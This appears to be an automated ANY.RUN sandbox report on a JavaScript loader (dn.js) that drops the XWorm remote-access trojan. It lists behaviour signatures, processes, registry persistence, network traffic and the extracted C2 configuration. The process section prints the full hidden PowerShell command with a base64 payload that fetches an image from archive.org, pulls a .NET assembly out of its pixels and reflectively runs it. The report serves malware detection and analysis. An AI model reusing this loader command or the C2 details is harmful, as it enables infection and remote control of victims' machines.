File name:

dn.js

Full analysis: https://app.any.run/tasks/fcab09a5-e25c-4475-ba9c-f4a8e0c2b23b
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: June 24, 2025, 10:26:13
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
susp-powershell
loader
reverseloader
remote
xworm
crypto-regex
payload
Indicators:
MIME: application/javascript
File info: JavaScript source, Unicode text, UTF-8 text, with very long lines (650), with CRLF line terminators
MD5:

3A030B251E689B1D0F76ADDE2891BF20

SHA1:

FFBD21404088EEED83ADF0931974288773C50C40

SHA256:

E5C8AE0C5CCE74B8DF26F3A9E54EB66A716C0A2B52B48F50BAC06B2DAB40F73F

SSDEEP:

1536:rDVWT+SykEx5eSkguksq70WGhF3azVflva0QuhN56:rDA+d9sq70WGezV9hNU

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6796)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 6796)

    • Changes powershell execution policy (Bypass)

      • wscript.exe (PID: 6264)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 6796)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 6796)

    • Changes the autorun value in the registry

      • MSBuild.exe (PID: 6552)

    • Create files in the Startup directory

      • MSBuild.exe (PID: 6552)

    • XWORM has been detected (SURICATA)

      • MSBuild.exe (PID: 6552)

    • XWORM has been detected (YARA)

      • MSBuild.exe (PID: 6552)

  • SUSPICIOUS

    • Gets full path of the running script (SCRIPT)

      • wscript.exe (PID: 6264)

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 6264)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 6264)

    • The process bypasses the loading of PowerShell profile settings

      • wscript.exe (PID: 6264)

    • Possibly malicious use of IEX has been detected

      • wscript.exe (PID: 6264)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 6264)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6796)

    • Writes data to a memory stream (POWERSHELL)

      • powershell.exe (PID: 6796)

    • Converts a specified value to an integer (POWERSHELL)

      • powershell.exe (PID: 6796)

    • Likely accesses (executes) a file from the Public directory

      • cmd.exe (PID: 3624)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 6796)

    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 6796)

    • Process drops legitimate windows executable

      • MSBuild.exe (PID: 6552)

    • Executable content was dropped or overwritten

      • MSBuild.exe (PID: 6552)

    • Connects to unusual port

      • MSBuild.exe (PID: 6552)

    • Contacting a server suspected of hosting an CnC

      • MSBuild.exe (PID: 6552)

    • Found regular expressions for crypto-addresses (YARA)

      • MSBuild.exe (PID: 6552)

  • INFO

    • Disables trace logs

      • powershell.exe (PID: 6796)

    • Checks proxy server information

      • powershell.exe (PID: 6796)
      • slui.exe (PID: 6492)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 6796)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6796)

    • Found Base64 encoded spyware-related PowerShell classes (YARA)

      • powershell.exe (PID: 6796)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • powershell.exe (PID: 6796)

    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • powershell.exe (PID: 6796)

    • Found Base64 encoded access to BitConverter class via PowerShell (YARA)

      • powershell.exe (PID: 6796)

    • Checks supported languages

      • MSBuild.exe (PID: 6552)

    • Reads the computer name

      • MSBuild.exe (PID: 6552)

    • Reads the machine GUID from the registry

      • MSBuild.exe (PID: 6552)

    • The sample compiled with english language support

      • MSBuild.exe (PID: 6552)

    • Launching a file from a Registry key

      • MSBuild.exe (PID: 6552)

    • Launching a file from the Startup directory

      • MSBuild.exe (PID: 6552)

    • Creates files or folders in the user directory

      • MSBuild.exe (PID: 6552)

    • Reads the software policy settings

      • slui.exe (PID: 6492)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

XWorm

(PID) Process(6552) MSBuild.exe
C2skido.hopto.org:5050
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop nameXWorm V5.6
Mutex80U1eMh0FwgCmoBd
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
145
Monitored processes
8
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs slui.exe #XWORM msbuild.exe svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
2180\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2200C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
3624"C:\Windows\System32\cmd.exe" /C copy *.js "C:\Users\Public\Downloads\polypoid.js"C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
5744\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6264"C:\Windows\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\dn.jsC:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6492C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
6552"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
XWorm
(PID) Process(6552) MSBuild.exe
C2skido.hopto.org:5050
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop nameXWorm V5.6
Mutex80U1eMh0FwgCmoBd
6796"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -noprofile -ep bypass -c "$miserabilism='JGJvc29uaXNlID0gJ1ZrRkonOyRhbnRpcGhvdG9nZW5pYyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJvc29uaXNlKTskYW5hbGdpYyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRhbnRpcGhvdG9nZW5pYyk7JGppbGxldCA9ICdaRzVzYVdJdVNVOHVTRzl0WlE9PSc7JHBsYWdpYXJpc2UgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tYmFzZTY0U3RyaW5nKCRqaWxsZXQpOyR1bmRpYWxhYmxlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHBsYWdpYXJpc2UpO0FkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLkRyYXdpbmc7JG1heXRob3JuPSdodHRwczovL2FyY2hpdmUub3JnL2Rvd25sb2FkL3dwNDA5Njc5OS1sb3N0LWluLXNwYWNlLXdhbGxwYXBlcnNfMjAyNTA2MjFfMTQ0Ny93cDQwOTY3OTktbG9zdC1pbi1zcGFjZS13YWxscGFwZXJzLmpwZyc7JGNhcmRpb215b3BhdGhpYz1OZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRjYXJkaW9teW9wYXRoaWMuSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCcpOyR3b3J0d2FsZT0kY2FyZGlvbXlvcGF0aGljLkRvd25sb2FkRGF0YSgkbWF5dGhvcm4pOyRpbmFydGlzdGljYWw9W2J5dGVbXV0oMHg0MiwgMHg0RCwgMHgyQSwgMHg4QiwgMHgxNywgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgzNiwgMHgwMCwgMHgwMCwgMHgwMCwgMHgyOCwgMHgwMCk7JHRhbXBhbj0tMTtmb3IoJHJ1YmlkaWE9MDskcnViaWRpYSAtbGUgJHdvcnR3YWxlLkxlbmd0aC0kaW5hcnRpc3RpY2FsLkxlbmd0aDskcnViaWRpYSsrKXsgJHNwaWxpbmc9JHRydWU7Zm9yKCR1bmRlcmRvZ2lzbT0wOyR1bmRlcmRvZ2lzbSAtbHQgJGluYXJ0aXN0aWNhbC5MZW5ndGg7JHVuZGVyZG9naXNtKyspe2lmKCR3b3J0d2FsZVskcnViaWRpYSskdW5kZXJkb2dpc21dIC1uZSAkaW5hcnRpc3RpY2FsWyR1bmRlcmRvZ2lzbV0peyRzcGlsaW5nPSRwZW10dW1vbWFiO2JyZWFrfX1pZigkc3BpbGluZyl7JHRhbXBhbj0kcnViaWRpYTticmVha319aWYoJHRhbXBhbiAtZXEgLTEpe3JldHVybn07JGVzdGltYWJsZW5lc3M9JHdvcnR3YWxlWyR0YW1wYW4uLigkd29ydHdhbGUuTGVuZ3RoLTEpXTskem9tb3RoZXJhcHk9TmV3LU9iamVjdCBJTy5NZW1vcnlTdHJlYW07JHpvbW90aGVyYXB5LldyaXRlKCRlc3RpbWFibGVuZXNzLDAsJGVzdGltYWJsZW5lc3MuTGVuZ3RoKTskem9tb3RoZXJhcHkuU2VlaygwLCdCZWdpbicpfE91dC1OdWxsOyRtaWNyb3Bob25pY3M9W0RyYXdpbmcuQml0bWFwXTo6RnJvbVN0cmVhbSgkem9tb3RoZXJhcHkpOyRpbnRlcnZhc2N1bGFyPU5ldy1PYmplY3QgQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0W0J5dGVdO2Zvcigkc3RyaWRvcj0wOyRzdHJpZG9yIC1sdCAkbWljcm9waG9uaWNzLkhlaWdodDskc3RyaWRvcisrKXtmb3IoJGRlYmF1Y2hlZD0wOyRkZWJhdWNoZWQgLWx0ICRtaWNyb3Bob25pY3MuV2lkdGg7JGRlYmF1Y2hlZCsrKXska2Vyc2FudGl0ZT0kbWljcm9waG9uaWNzLkdldFBpeGVsKCRkZWJhdWNoZWQsJHN0cmlkb3IpOyRpbnRlcnZhc2N1bGFyLkFkZCgka2Vyc2FudGl0ZS5SKTskaW50ZXJ2YXNjdWxhci5BZGQoJGtlcnNhbnRpdGUuRyk7JGludGVydmFzY3VsYXIuQWRkKCRrZXJzYW50aXRlLkIpfX07JHB5bG9yZWN0b215PVtCaXRDb252ZXJ0ZXJdOjpUb0ludDMyKCRpbnRlcnZhc2N1bGFyLkdldFJhbmdlKDAsNCkuVG9BcnJheSgpLDApOyRjeW1iYWxpbmc9JGludGVydmFzY3VsYXIuR2V0UmFuZ2UoNCwkcHlsb3JlY3RvbXkpLlRvQXJyYXkoKTskcGxvdmVybGlrZT1bQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKCRjeW1iYWxpbmcpLlJlcGxhY2UoJ0EnLCdAJykuUmVwbGFjZSgnQCcsJ0EnKTskcmlkZGxpbmdseT0nPT1BTXZrMVQzRkhONnhFZXZRMkxsVm1MbFIzY2hCM0x2b0RjMFJIYScuUmVwbGFjZSgnfC0nLCd0Jyk7JGFjcXVhaW50aW5nPVtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcGxvdmVybGlrZSk7JGJlYW5jYWtlcz1bUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGFjcXVhaW50aW5nKTskbWlzaW5jbGluZWQ9QCgkcmlkZGxpbmdseSwnMScsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHMnLCdwb2x5cG9pZCcsJ01TQnVpbGQnLCcnLCcnLCcnLCcnLCcnLCcnLCdqcycsJycsJycsJycsJzInLCcnKTskYmVhbmNha2VzLkdldFR5cGUoJHVuZGlhbGFibGUpLkdldE1ldGhvZCgkYW5hbGdpYykuSW52b2tlKCRncmF6aWVyLCRtaXNpbmNsaW5lZCk7JG1pY3JvcGhvbmljcy5EaXNwb3NlKCk7JHpvbW90aGVyYXB5LkRpc3Bvc2UoKQ==';$leafnose=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($miserabilism));Invoke-Expression $leafnose"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
7 490
Read events
7 487
Write events
3
Delete events
0

Modification events

(PID) Process:(6264) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe
Operation:writeName:JScriptSetScriptStateStarted
Value:
974F170000000000
(PID) Process:(6796) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:Path
Value:
C:\Users\Public\Downloads\polypoid.js
(PID) Process:(6552) MSBuild.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:XClient
Value:
C:\Users\admin\AppData\Roaming\XClient.exe
Executable files
1
Suspicious files
2
Text files
2
Unknown types
1

Dropped files

PID
Process
Filename
Type
6796powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_h3fti5sz.rsn.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6796powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:327820725586B6DE0A5A10DEE2E91A49
SHA256:7D7B5ED3ED039695367D9AA620ED54C109CFE301BC440FF9AB1461E3EE3A3FAD
6552MSBuild.exeC:\Users\admin\AppData\Roaming\XClient.exeexecutable
MD5:9F331A11A054F33664FE86543FC34CF0
SHA256:5F9AF68DB10B029453264CFC9B8EEE4265549A2855BB79668CCFC571FB11F5FC
3624cmd.exeC:\Users\Public\Downloads\polypoid.jsbinary
MD5:15F3C37DAF24A94DB54DD61FB2D431BB
SHA256:E925898216D9A7699EE8B24F69701F0D793A565BA0B19FEF90DCFACF3363D93D
6552MSBuild.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnklnk
MD5:4A5782E05265021983D8653DF3F7A643
SHA256:377867F25A877AC62477CCEF5B2EFE8B8BE1EDC0D2A2CC169C1FBA238F2DF881
6796powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3r1qksv2.3ip.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
31
DNS requests
21
Threats
11

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1268
svchost.exe
GET
200
23.216.77.28:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
2876
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4800
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
4800
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6796
powershell.exe
GET
301
23.186.113.60:80
http://paste.ee/d/xLz4qwOY/0
unknown
—
—
shared
2940
svchost.exe
GET
200
23.209.209.135:80
http://x1.c.lencr.org/
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
5944
MoUsoCoreWorker.exe
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4
System
192.168.100.255:137
—
—
—
whitelisted
4888
RUXIMICS.exe
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
1268
svchost.exe
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
6796
powershell.exe
207.241.224.2:443
archive.org
INTERNET-ARCHIVE
US
whitelisted
6796
powershell.exe
207.241.233.67:443
ia800907.us.archive.org
INTERNET-ARCHIVE
US
whitelisted
1268
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1268
svchost.exe
23.216.77.28:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
1268
svchost.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.186.46
whitelisted
archive.org
  • 207.241.224.2
whitelisted
ia800907.us.archive.org
  • 207.241.233.67
whitelisted
settings-win.data.microsoft.com
  • 20.73.194.208
whitelisted
crl.microsoft.com
  • 23.216.77.28
  • 23.216.77.6
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted
login.live.com
  • 40.126.32.134
  • 20.190.160.128
  • 20.190.160.67
  • 20.190.160.130
  • 20.190.160.66
  • 40.126.32.68
  • 20.190.160.17
  • 20.190.160.65
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
nexusrules.officeapps.live.com
  • 52.111.243.29
whitelisted
client.wns.windows.com
  • 172.211.123.249
whitelisted

Threats

PID
Process
Class
Message
—
—
Misc activity
INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0)
—
—
Unknown Traffic
ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW)
—
—
Misc activity
INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0)
2200
svchost.exe
Misc activity
ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee)
6796
powershell.exe
Potential Corporate Privacy Violation
ET INFO Pastebin-style Service (paste .ee) in TLS SNI
—
—
Exploit Kit Activity Detected
ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2
2200
svchost.exe
Potentially Bad Traffic
ET DYN_DNS DNS Query to DynDNS Domain *.hopto .org
6552
MSBuild.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 43
6552
MSBuild.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] Xworm TCP Packet
—
—
Potentially Bad Traffic
PAYLOAD [ANY.RUN] Reverse Base64 Encoded EXE Inbound
No debug info